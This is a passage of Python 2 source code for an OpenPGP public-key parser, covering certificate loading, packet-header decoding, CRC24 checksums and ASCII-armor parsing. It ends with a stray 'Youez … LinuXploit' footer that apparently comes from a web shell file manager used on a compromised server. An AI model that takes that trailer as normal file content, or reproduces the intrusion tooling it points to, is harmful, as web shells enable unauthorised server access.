                        if pkts[pkt_idx].sig_type not in (SIG_TYPE_PK_USER_GEN, SIG_TYPE_PK_USER_PER, SIG_TYPE_PK_USER_CAS, SIG_TYPE_PK_USER_POS, SIG_TYPE_CERT_REVOKE) :
                            raise ValueError('signature %d doesn\'t bind user_id to key, is %s' % (pkt_idx, map_to_str(sig_type_to_str, pkts[pkt_idx].sig_type)))
                        user_id.append(pkts[pkt_idx])

                        # is this the primary user id?
                        if pkts[pkt_idx].key_id() == cert_id :
                            if pkts[pkt_idx].is_primary_user_id() :
                                ct = pkts[pkt_idx].creation_time()
                                if ct > prim_user_id_sig_time :
                                    self.primary_user_id = len(self.user_ids)
                                    prim_user_id_sig_time = ct

                        pkt_idx = pkt_idx + 1

                    # append the user ID and signature(s) onto the list
                    self.user_ids.append(user_id)

                # this packet is supposed to be a user id
                elif pkts[pkt_idx].pkt_typ == CTB_PKT_USER_ATTR :
                    user_attr = [pkts[pkt_idx]]
                    is_revoked = 0

                    pkt_idx = pkt_idx + 1

                    # there may be a sequence of signatures following the user id which
                    # bind it to the key
                    while pkt_idx < len(pkts) and pkts[pkt_idx].pkt_typ == CTB_PKT_SIG :
                        if pkts[pkt_idx].sig_type not in (SIG_TYPE_PK_USER_GEN, SIG_TYPE_PK_USER_PER, SIG_TYPE_PK_USER_CAS, SIG_TYPE_PK_USER_POS, SIG_TYPE_CERT_REVOKE) :
                            raise ValueError('signature %d doesn\'t bind user_attr to key, is %s' % (pkt_idx, map_to_str(sig_type_to_str, pkts[pkt_idx].sig_type)))
                        user_attr.append(pkts[pkt_idx])
                        pkt_idx = pkt_idx + 1

                    # append the user ID and signature(s) onto the list
                    self.user_attrs.append(user_attr)

                elif pkts[pkt_idx].pkt_typ == CTB_PKT_PK_SUB :
                    # collect this list of subkey + signature [ + revocation ]
                    subkey = [pkts[pkt_idx]]
                    pkt_idx = pkt_idx + 1
                    is_revoked = 0

                    # there may optionally be a revocation
                    if pkt_idx < len(pkts) and pkts[pkt_idx].pkt_typ == CTB_PKT_SIG and pkts[pkt_idx].sig_type == SIG_TYPE_SUBKEY_REVOKE :
                        is_revoked = 1
                        subkey.append(pkts[pkt_idx])
                        pkt_idx = pkt_idx + 1

                    # there must be one signature following the subkey that binds it to the main key
                    if pkt_idx >= len(pkts) :
                        raise ValueError('subkey at index %d was not followed by a signature' % (pkt_idx-1))
                    if pkts[pkt_idx].pkt_typ != CTB_PKT_SIG or pkts[pkt_idx].sig_type != SIG_TYPE_SUBKEY_BIND :
                        raise ValueError('signature %d doesn\'t bind subkey to key, type is %s' % (pkt_idx, map_to_str(sig_type_to_str, pkts[pkt_idx].sig_type)))
                    subkey.append(pkts[pkt_idx])

                    pkt_idx = pkt_idx + 1

                    # append the user ID and signature(s) onto the list
                    if is_revoked :
                        self.rvkd_subkeys.append(subkey)
                    else :
                        self.subkeys.append(subkey)
                elif pkts[pkt_idx].pkt_typ == CTB_PKT_SIG :

                    # ok, well at least the type is good, we'll assume the cert is
                    # revoked
                    self.revocations.append(pkts[pkt_idx])

                    # increment the pkt_idx to go to the next one
                    pkt_idx = pkt_idx + 1

                
                else :
                    break

        # did we get all the things we needed?
        #if not self.user_id :
        # just take the first valid user id we encountered then
        if len(self.user_ids) == 0 :
            raise ValueError('no user id packet was present in the cert %s' % str_to_hex(self.public_key.key_id()))
        return pkt_idx


def get_ctb(msg, idx) :
    """get_ctb(msg, idx)
extracts a the "cypher type bit" information from message msg at index idx
returns (type, len, new_idx) where type is the enumerated type of the packet,
len is the length of the packet, and new_idx is the index of the next element
in the message"""
    b, idx = get_whole_int(msg, idx, 1)
    if (b & CTB_76_MASK) == CTB_76_NORMAL :
        n_len = 0 # undefined length
        if (b & CTB_PKT_LEN_MASK) == CTB_PKT_LEN_1 :
            n_len = 1
        if (b & CTB_PKT_LEN_MASK) == CTB_PKT_LEN_2 :
            n_len = 2
        if (b & CTB_PKT_LEN_MASK) == CTB_PKT_LEN_4 :
            n_len = 4
        if (b & CTB_PKT_LEN_MASK) == CTB_PKT_LEN_UNDEF :
            n_len = 0
        pkt_len = 0
        if n_len > 0 :
            pkt_len, idx = get_whole_int(msg, idx, n_len)
        return (b & CTB_PKTV2_MASK) >> 2, pkt_len, idx
    elif (b & CTB_76_MASK) == CTB_76_NEW :
        plen, idx = get_whole_int(msg, idx, 1)
        if plen < 192 :
            return b & CTB_PKT_MASK, plen, idx
        if plen < 224 :
            plen2, idx = get_whole_int(msg, idx, 1)
            return b & CTB_PKT_MASK, ((plen - 192) << 8) + plen2 + 192, idx
        if plen == 255 :
            plen, idx = get_whole_int(msg, idx, 4)
            return b & CTB_PKT_MASK, plen, idx
        else :
            raise Exception, 'partial message bodies are not supported by this version (%d)', b
    else :
        raise Exception, "unknown (not \"normal\") cypher type bit %d at byte %d" % (b, idx)

def crc24(msg) :
    crc24_init = 0xb704ce
    crc24_poly = 0x1864cfb

    crc = crc24_init
    for i in list(msg) :
        crc = crc ^ (ord(i) << 16)
        for j in range(0, 8) :
            crc = crc << 1
            if crc & 0x1000000 :
                crc = crc ^ crc24_poly
    return crc & 0xffffff

def decode(msg) :
    # each message is a sequence of packets so we go through the message
    # and generate a list of packets and return that
    pkt_list = []
    idx = 0
    msg_len = len(msg)
    while idx < msg_len :
        pkt_typ, pkt_len, idx = get_ctb(msg, idx)
        pkt = None
        if pkt_typ == CTB_PKT_PK_CERT or pkt_typ == CTB_PKT_PK_SUB :
            pkt = public_key()

        elif pkt_typ == CTB_PKT_USER_ID :
            pkt = user_id()

        elif pkt_typ == CTB_PKT_SIG :
            pkt = signature()

        elif pkt_typ == CTB_PKT_USER_ATTR :
            pkt = user_attribute()

        if pkt :
            pkt.pkt_typ = pkt_typ
            pkt.deserialize(msg, idx, pkt_len)
            if debug :
                debug.write(pkt.__str__() + "\n")
        else :
            raise ValueError('unexpected pgp packet type %s at %d' % (map_to_str(ctb_pkt_to_str, pkt_typ), idx))

        pkt_list.append(pkt)

        idx = idx + pkt_len
    return pkt_list

def decode_msg(msg, multi=False) :
    """decode_msg(msg) ==> list of OpenPGP "packet" objects
Takes an ascii-armored PGP block and returns a list of objects each of which
corresponds to a PGP "packets".

A PGP message is a series of packets. You need to understand how packets are
to be combined together in order to know what to do with them. For example
a PGP "certificate" includes a public key, user id(s), and signature. 
"""
    # first we'll break the block up into lines and trim each line of any 
    # carriage return chars
    pgpkey_lines = map(lambda x : x.rstrip(), msg.split('\n'))

    # check out block
    in_block = 0
    in_data = 0
    
    block_buf = cStringIO.StringIO()
    for l in pgpkey_lines :
        if not in_block :
            if l == '-----BEGIN PGP PUBLIC KEY BLOCK-----' :
                in_block = 1
            continue

        # are we at the actual data yet?
        if not in_data :
            if len(l) == 0 :
                in_data = 1
            continue
        
        # are we at the checksum line?
        if l and l[0] == '=' :
            # get the checksum number
            csum = base64.decodestring(l[1:5])
            i = 0
            csum, i = get_whole_number(csum, i, 3)

            # convert the base64 cert data to binary data
            cert_msg = base64.decodestring(block_buf.getvalue())
            block_buf.close()

            # check the checksum
            if csum != crc24(cert_msg) :
                raise Exception, 'bad checksum on pgp message'

            # ok, the sum looks ok so we'll actually decode the thing
            pkt_list = decode(cert_msg)
            # turn it into a real cert
            cert_list = []
            while len(pkt_list) > 0 :
                cert = pgp_certificate()
                cert.raw_key = msg
                pkt_idx = cert.load(pkt_list)
                cert_list.append(cert)
                pkt_list[0:pkt_idx] = []
            if not multi:
                if not cert_list:
                    return None
                return cert_list[0]
            return cert_list
        
        # add the data to our buffer then
        block_buf.write(l)

    if not multi:
        return None
    return []

def decode_multiple_keys(msg):
    #ditto of above - but handling multiple certs/keys per file
    certs = []

    pgpkey_lines = map(lambda x : x.rstrip(), msg.split('\n'))
    in_block = 0
    block = ''
    for l in pgpkey_lines :
        if not in_block :
            if l == '-----BEGIN PGP PUBLIC KEY BLOCK-----' :
                in_block = 1        
                block += '%s\n' % l
                continue

        block += '%s\n' % l
        if l == '-----END PGP PUBLIC KEY BLOCK-----':
            in_block = 0
            thesecerts = decode_msg(block, multi=True)
            if thesecerts:
                certs.extend(thesecerts)
            block = ''
            continue
    return certs


if __name__ == '__main__' :
    import sys
    for pgp_cert in decode_multiple_keys(open(sys.argv[1]).read()) :
        print pgp_cert

Youez - 2016 - github.com/yon3zu
LinuXploit